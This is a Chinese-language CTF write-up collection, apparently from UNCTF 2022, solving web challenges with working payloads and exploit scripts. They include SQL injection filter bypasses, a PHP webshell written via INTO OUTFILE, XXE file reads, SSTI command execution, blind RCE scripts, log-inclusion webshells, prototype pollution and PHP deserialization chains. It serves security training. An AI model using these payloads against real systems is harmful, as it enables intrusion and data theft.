给你一刀-西南科技大学
- thinkphp5漏洞
直接用tp漏扫工具来直接利用漏洞
flag在环境变量
快乐三消-河南理工大学
- 文件包含
- 源码泄露
。。。。。这个就是吃字典的一道题
使用御剑扫描后台可以看到admin/login.php和amin/login.php.bak
下载源码可以发现账户密码
admin/unctf
<?php
include('../core.php');
C(require('../config.php'));
if (I('post.')) {
if (I('post.user')==C('username') && I('post.pwd')==C('userpwd')) { // admin/unctf
$_SESSION['islogin'] = C('username');
str_alert('','index.php');
} else {
str_alert('账号密码错误');
}
}
?>
进去后可以在网站预览发现文件包含,这里可以发现这个地方是包含了这个后台的文件
在网页源码里也可以看到
然后直接包含根目录的flag,得到flag。。。。。。
我还以为是sql注入呢。。。。。
签到-吉林警察学院
- 脚本编写
看起来是sql注入,一个登录框非常误导人
可以看见提示,然后发现当username输入20200102时会回显’f’
所以应该是输入2020010x来回显flag的字符
exp
import re
import requests
url="http://7f0c0b7f-f247-467f-ba54-51b716a04cc7.node.yuzhian.com.cn/index.php"
header={"Content-Type": "application/x-www-form-urlencoded"}
result=''
for i in range(20200102,20200140):
data={"username":i}
res=requests.post(url=url,data=data,headers=header)
print(data)
res.encoding = "gbk123"
result+=re.findall('</body>\r\n\r\n</html>\r\n\r\n(.*)\r\n\r\n',res.text)[0]
print(result)
# print(res.content)
世界和平-西南科技大学
-
堆叠注入
-
无列名注入
什么弔题
过滤了一堆
handler
like
select
sleep
delete
or
select
insert
&
&&
handler
xor
"
select
union
oorr
anandd
sleep
information_schema
prepare
set
update
delete
drop
inset
floor
rand()
information_schema.tables
extractvalue
order
updatexml
format
ord
for
from
flag
最崽种的是,tmd,他还把这些过滤的关键词的大写直接替换为空,而且是只要有包含一个大写字符,就替换为空
eg:
Select,SElect,SELect,SELEct,SELECt,SELECT都会被替换为空,ctm
首先使用
show databases
查看库名
show tables
查看表名,发现Flag表
原本以为可以使用show columns FrFromom Flag
来查看字段结构,结果tm的不仅过滤了flag,而且其大写的也替换为空了(这个是在最后才发现的)
所以可以先使用0;show columns FrFromom FlFlagag
查看字段
然后直接查询
不知道字段名也没事,可以使用无列名注入
payload:
query=0;SELSELECTECT `1` FRFROMOM (SELSELECTECT 1 UNIUNIONON SELSELECTECT * FRFROMOM FlFlagag) as a
随便注-云南警官学院
- sql写马
真无语,找了半天数据库,结果flag不在库里
经过fuzz,可以发现过滤了一些东西,并将其替换为空,可以双写或者大小写绕过
使用select ‘xxxx’ into outfile 'xxx’写马
可以在联合查询的时候执行
并且题目的语句是用单引号闭合
payload:
0' UNION SELECT 1,'<?php eval($_POST[1]);?>' INTO OUTFILE '/var/www/html/shell.php' #
然后url编码给id传值就行
访问shell.php进行rce
secure_file_priv
- Description: LOAD DATA, SELECT … INTO and LOAD FILE() will only work with files in the specified path. If not set, the default, or set to empty string, the statements will work with any files that can be accessed.
- Commandline:
--secure-file-priv=path
- Scope: Global
- Dynamic: No
- Data Type:
path name
- Default Value: None
select into outfile受secure_file_priv影响,只有secure_file_priv为null,才能写在任意地方,且需要有响应的权限
听说php有一个xxe-西南科技大学
- xxe
比较简单
按照提示下载hint
https://477f1ea0-4b3b-44bb-90d1-89036c8b97ce.node.yuzhian.com.cn/hint
so cool!!!hacker!
I just tell you I have a big bug in dom.php
访问dom.php
猜测为使用xxe,且他是把所有的内容都显示出来
所以随便输入一个外部实体,都可以显示出来
payload:
<!DOCTYPE xml[<!ENTITY xxe SYSTEM "file:///flag">]><flag>&xxe;</flag>
我太喜欢bilibili大学啦–中北大学
- 不懂
打开环境是phpinfo,直接搜flag就得到了flag
babynode-云南大学
- nodejs原型链污染
就是简单的原型链污染
app.post('/', function(req, res) {
var flag='flag';
var admin = {};
let user = {};
try{
copy(user,req.body);
} catch (error){
res.send("copy error");
return;
}
if(admin.id==='unctf'){
res.end(flag);
}else{
return res.end("error");
}
}
)
因为admin没有id这个属性,所以回去他的原型里找,只要污染原型object就行
payload:
要修改Content-Type
{"__proto__":{"id":"unctf"}}
babyphp-中国人民公安大学
- php特性
玩烂的东西了,直接给payload
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_POST["a"])){
if($_POST["a"]==0&&$_POST["a"]!==0){
if(isset($_POST["key1"])&isset($_POST["key2"])){
$key1=$_POST["key1"];
$key2=$_POST["key2"];
if ($key1!==$key2&&sha1($key1)==sha1($key2)){
if (isset($_GET["code"])){
$code=$_GET["code"];
if(!preg_match("/flag|system|txt|cat|tac|sort|shell|\.| |\'/i", $code)){
eval($code);
}else{
echo "有手就行</br>";
}
}else{
echo "老套路了</br>";
}
}else{
echo "很简单的,很快就拿flag了~_~</br>";
}
}else{
echo "百度就能搜到的东西</br>";
}
}else{
echo "easy 不 easy ,baby 真 baby,都是玩烂的东西,快拿flag!!!</br>";
}
}
POST a=a&key1[]=a&key2[]=b
GET ?code=?><?=`nl%09/f*`;?>或者?code=passthru("nl%09/f*");
使用%09来替代空格
使用反引号来执行系统命令
使用短标签<?= ?>
来输出执行系统命令后的内容
easy ssti-金陵科技学院
- ssti
比较简单,就过滤了个class关键字,有很多种方法可以绕过,这里用字符串拼接绕过
先找注入点
然后
payload:
pwd=&user={{()['__cl''ass__'].__base__['__subcl''asses__']()[213].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}
['__subcl''asses__']()[213]
这个213是用脚本找的<class 'warnings.catch_warnings'>
这个子类所在的下标
flag在环境变量里
也可以使用lipsum
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:
payload:
pwd=&user={{lipsum.__globals__['os'].popen('env').read()}}
easy_rce-西南科技大学
- rce盲注
长见识
<?php
# flag in /flag
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/\@|\#|\%|:|&|;|\\\\|"|\'|`|\.|\&|\*|>|<|nc|wget|bash|sh|netcat|grep|base64|rev|curl|wget|php|ping|cat|fl|mkdir/i',$code)){
exec($code,$output,$return_val);
if(!$return_val) echo "success";
else{
echo "fail";
}
}
else{
die("小黑子,露出只因脚了吧");
}
}
else{
highlight_file(__FILE__);
}
?>
这里过滤了;和引号,导致不能使用if来进行判断
使用cut和tr进行盲注
Linux tr 命令用于转换或删除文件中的字符。
tr 指令从标准输入设备读取数据,经过字符串转译后,将结果输出到标准输出设备
payload:
l$(tac /f??? | cut -c 1 | tr U s)
如果cut得到的字符为U的话,就会转换为s,这样就会执行ls,得到success
否则就会执行错误,得到fail
但是要自己判断一下{和}号的位置
exp
import requests
from string import *
url="http://69a1ccc4-0832-4c73-b125-9be150d6ecce.node.yuzhian.com.cn/?code="
str=ascii_letters+digits+'{}_-!!!'
result=''
for a in range(1,50):
for i in str:
data="l$(tac /f???|cut -c {}|tr {} s)"
cmd=data.format(a,i)
res=requests.get(url=url+cmd)
if "success" in res.text:
print(res.text)
result+=i
print(result)
break
easy_upload-云南警官学院
- 日志包含
使用dirsearch扫描目录,可以发现存在备份文件www.rar
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
if (preg_match("/flag|\.\.|\/\//i", $file)) {
echo "no hack";
exit();
}
include $file;
}else{
include("upload.php");
}
?>
可以发现存在文件包含,且发现题目环境是nginx服务器,尝试包含nginx日志,发现可以包含
然后在数据包里写马,包含这个日志,用蚁剑连接,成功rce
flag在/home/ctf/flag
然后看看他的文件上传逻辑
<?php
error_reporting(0);
// 允许上传的图片后缀
if( !isset($_FILES["file"])){
die();
}
$allowedExts = array("jpg");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 15360) // 小于 15 kb
)
{
if ($_FILES["file"]["error"] > 0)
{
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
}else if(mb_strpos(file_get_contents($file["tmp_name"]), "eval") !== FALSE)
{
echo "NO! HACKER!";
}
else
{
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>";
// 判断当前目录下的 upload 目录是否存在该文件
if (file_exists("uplO4d/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " 文件已经存在。 ";
}
else
{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["file"]["tmp_name"], "uplO4d/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "uplO4d/" . $_FILES["file"]["name"];
}
}
}
else
{
echo "非法的文件格式";
}
?>
这里有个烟雾弹,就是他虽然获取了文件后缀,但并没有进行判断
只要Content-Type为image/png、文件内容中不能存在’eval’且文件大小小于 15 kb就行
成功rce
ez2048-中南大学
- js
首先是获得邀请码
查看源码
checkInvited() {
let args = [...arguments];
let buf = new ArrayBuffer(24);
const view = new DataView(buf);
view.setUint8(0, 68);
view.setUint8(1, 51);
view.setUint8(2, 15);
view.setUint8(3, 80);
view.setUint16(4, 0x0e5d, true);
view.setUint16(6, 0x323a, true);
view.setUint16(8, 0x3058, true);
view.setUint16(10, 0x1a2a, true);
view.setUint32(12, 0x0512160d, true);
view.setUint32(16, 0x02560002);
view.setUint32(20, 0x130000);
function check(code) {
if (code.length !== 24) return false;
let encode = [];
for (let i = 0; i < code.length; i++) {
if (~i % 2 === 0) {
encode.push(code.charCodeAt(i) ^ code.charCodeAt(i - 2));
} else {
encode.push(code.charCodeAt(i) ^ code.charCodeAt(i + 1));
}
}
for (let i = 0; i < code.length; i++) {
if (view.getInt8(i) !== encode[i]) return false;
}
return true;
}
...
}
如果i为奇数就执行if,i为偶数就执行else
charCodeAt(index)获得字符串指定下标的unicode编码,
注意:如果 index 是负数,或大于等于字符串的长度,则 charCodeAt() 返回 NaN。
任意数字与NaN异或,都返回那个数字本身
String.fromCharCode()从指定的unicode编码获得字符串
for (let i = 0; i < code.length; i++) {
if (~i % 2 === 0) {
encode.push(code.charCodeAt(i) ^ code.charCodeAt(i - 2));//encode里的奇数位i的值等于code[i]的unicode编码异或code[i-2]
} else {
encode.push(code.charCodeAt(i) ^ code.charCodeAt(i + 1));//encode里的偶数位i的值等于code[i]的unicode编码异或code[i+1]
}
}
这里最终是要encode列表的值和view.getInt8(i)得到的列表的值一样
dataView.getInt8(byteOffset);
在相对于视图开始处的指定字节偏移量位置处获取 Int8 值。没有对齐约束;可从任何偏移量获取多字节值
for (let i = 0; i < code.length; i++) {
if (view.getInt8(i) !== encode[i]) return false;
}
而这个列表的值是确定的,因为在上面确定了偏移位置的值
得到的列表
get:
[
68, 51, 15, 80, 93, 14, 58, 50,
88, 48, 42, 26, 13, 22, 18, 5,
2, 86, 0, 2, 0, 19, 0, 0
]
所以就是要按照上面的异或规则来获得与这个列表相等的列表
首先
i=1时,i-2为负数,charCodeAt(i-2)返回NaN,code.charCodeAt(i) ^ code.charCodeAt(i - 2)=code.charCodeAt(i)=51
所以encode[1]的值是可以确定的,为51,然后可以按照这个来求出所以奇数位的值,再去求偶数位的值
因为偶数位的值是code.charCodeAt(i) ^ code.charCodeAt(i + 1),是需要知道后一位的值的
exp
let buf = new ArrayBuffer(24);
const view = new DataView(buf);
view.setUint8(0, 68);
view.setUint8(1, 51);
view.setUint8(2, 15);
view.setUint8(3, 80);
view.setUint16(4, 0x0e5d, true);
view.setUint16(6, 0x323a, true);
view.setUint16(8, 0x3058, true);
view.setUint16(10, 0x1a2a, true);
view.setUint32(12, 0x0512160d, true);
view.setUint32(16, 0x02560002);
view.setUint32(20, 0x130000);
function check() {
let answer = [
68, 51, 15, 80, 93, 14, 58, 50,
88, 48, 42, 26, 13, 22, 18, 5,
2, 86, 0, 2, 0, 19, 0, 0
];
let unicode = [0, 51]
for (let i = 0; i < answer.length; i++) {
if (~i % 2 === 0) {
unicode[i]=(answer[i] ^ unicode[i-2]); //i为奇数进这里 i小于2时,返回的值为code.charCodeAt(i)本身,即i=1时,其余为与前两位进行异或
}
}
for (let i = 0; i < answer.length; i++) {
if (~i % 2 !== 0) {
unicode[i]=(answer[i] ^ unicode[i+1]); //i为偶数进这里,i为23时,返回的值为code.charCodeAt(i)本身,其余为与下一位进行异或
}
}
console.log(unicode)
let result = '';
for (let i = 0; i < unicode.length; i++) {
result+=(String.fromCharCode(unicode[i]))
}
console.log(result)
}
check();
得到邀请码:w3lc0me_7o_unctf2022!!!!
然后再审获取flag的代码
可以发现有个类似检材是否成功的方法,分别查看其中的两个函数是什么意思
allocatedInvitedCode
是通过处理我们输入的邀请码得到的
merged.value
class Tile {
constructor(p, v) {
this.row = p.row;
this.column = p.column;
this.value = v;
this.prePosition = null;
this.mergedTiles = null;
}
updatePosition(target) {
this.prePosition = { row: this.row, column: this.column };
this.row = target.row;
this.column = target.column;
}
}
const merged = new Tile(
{ row: next.row, column: next.column },
tile.value * 2
);
这个其实就是我们得到的分数
所以只要我们传2048和邀请码就可以得到flag
因为这个js代码已经在浏览器加载了,所以可以直接控制台调试
ezgame-浙江师范大学
- js
什么弔题
直接查看源码,搜索unctf关键词
发现以下代码,猜测当打完boss后会触发这个函数,然后显示flag
将代码复制下了,将alert改为console.log,
然后执行代码,得到flag:unctf{c5f9a27d-6f88-49fb-a510-fe7b163f8dd3}
然后要将unctf改为大写
function flag(){function _0x1a71(_0x576391,_0x47cdf6){var _0x33c239=_0x3005();return _0x1a71=function(_0x18fbb7,_0x4f7b9f){_0x18fbb7=_0x18fbb7-(-0x40*0x85+-0x9dc*0x3+0x658*0xa);var _0x5a7e37=_0x33c239[_0x18fbb7];return _0x5a7e37;},_0x1a71(_0x576391,_0x47cdf6);}function _0x3005(){var _0x313bce=['86VkibmA','fe7b163f8d','6833565vBFVDj','23742ODGjjF','unctf{c5f9','d3}','1335DfKYdi','6442920PCnqhb','781140poNcpx','a27d-6f88-','795305dViflS','1569524rbiRmt','49fb-a510-','88IpXszc','13033ieCwIU','6GgaKPA'];_0x3005=function(){return _0x313bce;};return _0x3005();}var _0x57214f=_0x1a71;(function(_0x5f4f7e,_0x564c49){var _0x5561c3=_0x1a71,_0x56ec78=_0x5f4f7e();while(!![]){try{var _0xe4411f=-parseInt(_0x5561c3(0xa5))/(-0x2369+-0x618*0x4+0x3bca)*(parseInt(_0x5561c3(0xa7))/(0xac1+-0x3*0x881+-0x1*-0xec4))+parseInt(_0x5561c3(0xa6))/(0x24c5+0x783+-0x2c45)*(parseInt(_0x5561c3(0xa2))/(-0xe2e+-0x1c7d+0x2aaf))+-parseInt(_0x5561c3(0x9d))/(-0x1870+-0x1*-0x1dbd+-0x548)*(-parseInt(_0x5561c3(0xaa))/(-0x9*-0x287+0x5*-0x165+-0x2a0*0x6))+-parseInt(_0x5561c3(0xa1))/(0x4*0x9a3+-0x7*0x1d2+-0x19c7)+parseInt(_0x5561c3(0x9e))/(-0x27b+-0x206*-0x6+-0x9a1)+-parseInt(_0x5561c3(0xa9))/(0x66b+0xa39+-0x109b*0x1)+parseInt(_0x5561c3(0x9f))/(-0x8ba+0x1f1*0x10+0xb26*-0x2)*(-parseInt(_0x5561c3(0xa4))/(0x2548+0x1e3+-0x2720));if(_0xe4411f===_0x564c49)break;else _0x56ec78['push'](_0x56ec78['shift']());}catch(_0x1ed64e){_0x56ec78['push'](_0x56ec78['shift']());}}}(_0x3005,-0x909e0+0x62296*0x2+0x5bf33),console.log(_0x57214f(0xab)+_0x57214f(0xa0)+_0x57214f(0xa3)+_0x57214f(0xa8)+_0x57214f(0x9c)));}
flag();
ezunseri-西华大学
- php反序列化
- fastdestruct
emmm,很怪的一道题
虽然说链子很简单,但是问题在于如何绕过wakeup()
但是这个题目环境的版本是7.3.28,所以按道理来说是不能使用改类成员数的方法来绕过wakeup的
<?php
highlight_file(__FILE__);
error_reporting(0);
class Exec
{
public $content;
public function execute($var){
eval($this->content);
}
public function __get($name){
echo $this->content;
}
public function __invoke(){
$content = $this->execute($this->content);
}
public function __wakeup()
{
$this->content = "";
die("1!5!");
}
}
class Test
{
public $test;
public $key;
public function __construct(){
$this->test = "test123";
}
public function __toString(){
$name = $this->test;
$name();
}
}
class Login
{
private $name;
public $code = " JUST FOR FUN";
public $key;
public function __construct($name="UNCTF"){
$this->name = $name;
}
public function show(){
echo $this->name.$this->code;
}
public function __destruct(){
if($this->code = '3.1415926'){
return $this->key->name;
}
}
}
if(isset($_GET['pop'])){
$a = unserialize($_GET[pop]);
}else{
$a = new Login();
$a->show();
}
链子很简单,这道题可以改成员数,也可以使用fastdestructhttps://zhuanlan.zhihu.com/p/405838002
fastdestruct
一种方式就是修改序列化字符串的结构,使得完成部分反序列化的unserialize强制退出,提前触发__destruct
,其中的几种方式如下
#修改序列化数字元素个数
a:2:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}}
#去掉序列化尾部 }
a:1:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}
本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct()
,提前触发反序列化链条。
pop:
<?php
class Exec
{
public $content;
}
class TesT
{
public $test;
public $key;
}
class Login
{
public $code = " JUST FOR FUN";
public $key;
}
$a=new Login();
$b=new Exec();
$c=new Test();
$d=new Exec();
$a->key=$b;
$b->content=$c;
$c->test=$d;
$d->content='phpinfo();';
echo serialize($a);
得到//O:5:"Login":2:{s:4:"code";s:13:" JUST FOR FUN";s:3:"key";O:4:"Exec":1:{s:7:"content";O:4:"TesT":2:{s:4:"test";O:4:"Exec":1:{s:7:"content";s:10:"phpinfo();";}s:3:"key";N;}}}
将O:5:"Login":2:{s:4:"code";s:13:" JUST FOR FUN";s:3:"key";O:4:"Exec":1:{s:7:"content";O:4:"TesT":2:{s:4:"test";O:4:"Exec":1:{s:7:"content";s:10:"phpinfo();";}s:3:"key";N;}}}
修改为O:5:"Login":2:{s:4:"code";s:13:" JUST FOR FUN";s:3:"key";O:4:"Exec":1:{s:7:"content";O:4:"TesT":2:{s:4:"test";O:4:"Exec":1:{s:7:"content";s:10:"phpinfo();";}s:3:"key";N;}}
即可进行fastdestruct,让__destruct
在__wakeup
之前执行,从而绕过__wakeup
通过fastdestrutc也会让一些魔术函数的执行顺序提前,比如说__call()
poppop-中国人民公安大学
- php反序列化
什么弔题啊,弄了半天rce,结果flag在环境变量里
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
public $key;
function __destruct(){
echo $this->key;
}
}
class C{
private $key2;
function __toString()
{
return $this->key2->abab();
}
}
if(isset($_POST['poc'])) {
unserialize($_POST['poc']);
}else{
highlight_file(__FILE__);
}
就很简单的链子
使用wakeup()绕过漏洞(CVE-2016-7124)来绕过__wakeup
就是修改成员数
然后要注意private $key2;
在传的时候要将序列化内容进行url编码
- Public属性序列化后格式: 成员名
- Private属性序列化后格式: %00类名%00成员名
- Protected属性序列化后的格式: %00*%00成员名
<?php
class A{
public $code = 'system("env");';
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
public $key;
function __construct(){
$this->key=new C();
}
function __destruct(){
echo $this->key;
}
}
class C{
private $key2;
function __construct(){
$this->key2=new A();
}
function __toString()
{
return $this->key2->abab();
}
}
$B=new B();
$res=urlencode(serialize($B));
$res2=str_replace('%22A%22%3A1','%22A%22%3A2',$res); //修改类A的成员数
echo $res2;
Sqlsql-中国人民公安大学
- 堆叠注入
这个主要是要找存在sql注入的代码
首先进去,如果要查成绩,发现需要admin
说明我们需要用admin账户登录
在这段代码里可以发现,只要用户名为admin就视为admin
if($result = $mysqli->query("select * from users where username='$username' and studentid='$studentid'")) {
if ($result->num_rows === 1) {
$row = $result->fetch_array();
setcookie('username', md5($row['username']));
$_SESSION['username'] = ($row['username']);
$_SESSION['studentid'] = ($row['studentid']);
header("Location: index.php");
} else {
exit("用户名或密码错误捏");
}
}
同时由于在register里会检测用户名不能是’admin’所以的使用其他方法替换admin密码
在题目环境里有很多地方都使用了addslashes()
addslashes()
函数返回在预定义的字符前添加反斜杠的字符串。预定义字符是:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- NULL
只有两个地方没有使用
index.php里
$query = "insert into score values (NULL, '".addslashes_deep($_SESSION['username'])."', $getscroe);insert into userAnswer values (NULL, '".$_SESSION['username']."', '".$_POST['q1']."', '".$_POST['q2']."', '".$_POST['q3']."', '".$_POST['q4']."', '".$_POST['q5']."')";
if ($mysqli->multi_query($query)===TRUE) {
...
}
这里的 P O S T 是 我 们 可 以 控 制 的 , 而 且 这 里 是 使 用 ‘ _POST是我们可以控制的,而且这里是使用` POST是我们可以控制的,而且这里是使用‘mysqli->multi_query()`执行sql语句,所以可以堆叠注入
我最开始是使用update来改密码,但是发现没有用,所以怀疑表里根本没有这个数据
所以直接插表
payload:
q1=4&q2=3&q3=1&q4=1&q5=1');insert into users values (NULL, 'admin', '123');
然后用admin/123登录,随便查个学号的成绩,就可以获得flag
302与深大-深圳大学
- 目录扫描
- 抓包
dirsearch目录扫描,得到Dockerfile,其中包含一部分flag,且发现访问index.php会302跳转,抓包得到另一部分flag
FROM php:7.4-apache
COPY . /var/www/html
WORKDIR . /var/www/html
ENV flag "miku_micgo_qka_WEB_GOD}"
RUN /bin/bash -c 'rm -rf /var/www/html/dockerfile'
EXPOSE 80